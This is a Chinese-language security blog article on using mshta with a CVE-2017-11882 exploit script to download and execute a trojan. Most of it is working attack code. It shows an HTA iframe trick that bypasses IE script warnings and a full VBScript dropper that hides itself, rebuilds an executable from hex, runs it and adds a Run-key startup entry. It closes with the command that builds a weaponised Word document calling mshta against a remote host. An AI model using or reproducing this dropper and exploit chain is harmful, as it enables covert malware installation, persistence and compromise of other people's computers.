浅谈一下mshta在CVE-2017-11882里的命令构造

* 本文作者:lcx,

Evi1cg同学前不久放出CVE-2017-11882的一个 python利用脚本,地址在https://github.com/Ridter/CVE-2017-11882/,不过其中一个版本里边有一个限制,执行命令只能用43个字节。如果要用43个字节来完成一个文件的下载执行,在我所掌握的命令行知识里,除了mshta命令,其它的好像都做不到。所以在这里我就浅谈一下如何构造这个mshta命令,另外提一下hta文件在安全方面的一个应用。

mshta.exe是微软Windows操作系统相关程序,用于执行.HTA文件。HTA是HTML Application的缩写(HTML应用程序),是软件开发的新概念,直接将HTML保存成HTA的格式,就是一个独立的应用软件,与VB、C++等程序语言所设计的软件界面没什么差别。mshta执行.hta文件,是以当前用户权限执行,hta文件可以随便改后缀,也可以本地或远程执行,本地执行的时候,要记得带全路径名,否则会出错。另外,mshta支持各种协议,甚至支持mk:@MSITStore协议或是ms-its协议。

浅谈一下mshta在CVE-2017-11882里的命令构造

一、HTA文件 内嵌的html文件如何去除本地安全认证呢?

我们知道,html文件打开的宿主如果是IE,html文件里调用的是像Wscript.Shell此类组件的话,IE会弹一个框,限制运行脚本或Active控件。我们来验证一下,写代码1.htm如下:

<script language="VBSCRIPT">    Dim FileSystem    ' Creates the FileSystemObject    Set FileSystem = CreateObject("Scripting.FileSystemObject")  </script>

浅谈一下mshta在CVE-2017-11882里的命令构造

如果我们用HTA文件来iframe这个1.htm,hta是本地用户权限,应当可以绕过此限制,如何绕呢?我们就要用到 iframe的一个参数了application=”yes”了。这样就不会弹阻止框了,可以干坏事了,1.hta代码如下: 

<html>  <head>  <title>Sample HTML Application one</title>  </head>  <body onload="Viewer.document.location.href='l.htm'">  <iframe id="Viewer" application="yes"><!--这里是去掉验证的关键-->   </iframe>  </body>  </html>

二、如何写一个高效的下载执行过杀软的hta文件?

如果是下载执行的话,哪就很弱了。hta文件里可以自由地写vbscript代码,所以我们的思路是可以把你的木马转换成base64格式也好,转换成16进制也好再转回来,hta只是访问了一个网页而已,但是已经把木马转到本地了,具体代码1.hta可以如下:

<HTML>   <meta http-equiv="Content-Type" content="text/html; charset=utf-8">  <HEAD>   <script language="VBScript">  Window.ReSizeTo 0, 0  Window.moveTo -2000,-2000 '让hta不可见  set fso=CreateObject("Scripting.FileSystemObject")  Set wscript.Createobject("WScript.Shell")  '注意在hta文件里不能调用wscript,如下行的代码会出错  'set ws= wscript.Createobject("WScript.Shell")  '用rundll32加启动项,这个过不了杀软主防,聊胜于无  regstr = "rundll32 javascript:""/../mshtml,RunHTMLApplication "";window.execScript(""CreateObject('wscript.Shell').RegWrite 'HKEY_CURRENT_USER//Software//Microsoft//Windows//CurrentVersion//Run//ologin',CreateObject('Shell.Application').Namespace(&H1C).Self.Path & '//muma.exe':window.close"",""vbs""); "  strs="4D5A900003000000040000"'你木马的16进制代码放在这里  fp=CreateObject("Shell.Application").Namespace(&H1C).Self.Path + "/muma.exe" '应当判断系统,找一个winxp-win10都可以写的目录,我这里只是poc,没有做过多判断  '下边函数用Microsoft.XMLDOM来还原16进制文件  Sub WriteBinary(FileName, Buf)  Const adTypeBinary = 1  Const adSaveCreateOverWrite = 2  Dim stream, xmldom, node  Set xmldom = CreateObject("Microsoft.XMLDOM")  Set node = xmldom.CreateElement("binary")  node.DataType = "bin.hex"  node.Text = Buf  Set stream = CreateObject("ADODB.Stream")  stream.Type = adTypeBinary  stream.Open  stream.write node.NodeTypedValue  stream.saveToFile FileName, adSaveCreateOverWrite  stream.Close  Set stream = Nothing  Set node = Nothing  Set xmldom = Nothing  End Sub  '判断文件是否存在  Function Findfile(str)  If fso.FileExists(str) Then  Findfile = True  Else  Findfile = False  End If  End Function  '不存在就写木马  If Findfile(fp)=False then  WriteBinary fp, Strs  End if  '木马文件存在就执行。休息一下加注册表启动项  If Findfile(fp)=True then  ws.exec fp  wScript.Sleep(2000)  ws.run regstr,0  End if  'ws.DeleteFile(wscript.scriptfullname),如果这个是vbs文件,可以删除自身,hta文件放在远程就没有必要了  self.close  </script>  <body>  </body>  </HEAD>   </HTML>

然后,你可以把这个1.hta改名1.xml之类的文件放在远程空间了,直接mshta http://www.site.xom/1.xml,就可以了。如果是利用CVE-2017-11882.py,哪么直接执行下边命令就生成了,其中http://site.com/1.xml你可以换成短网址。

python27 Command_CVE-2017-11882.py -c "mshta http://site.com/1.xml" -o test.doc

下图是我做的测试图。

浅谈一下mshta在CVE-2017-11882里的命令构造

* 本文作者:lcx,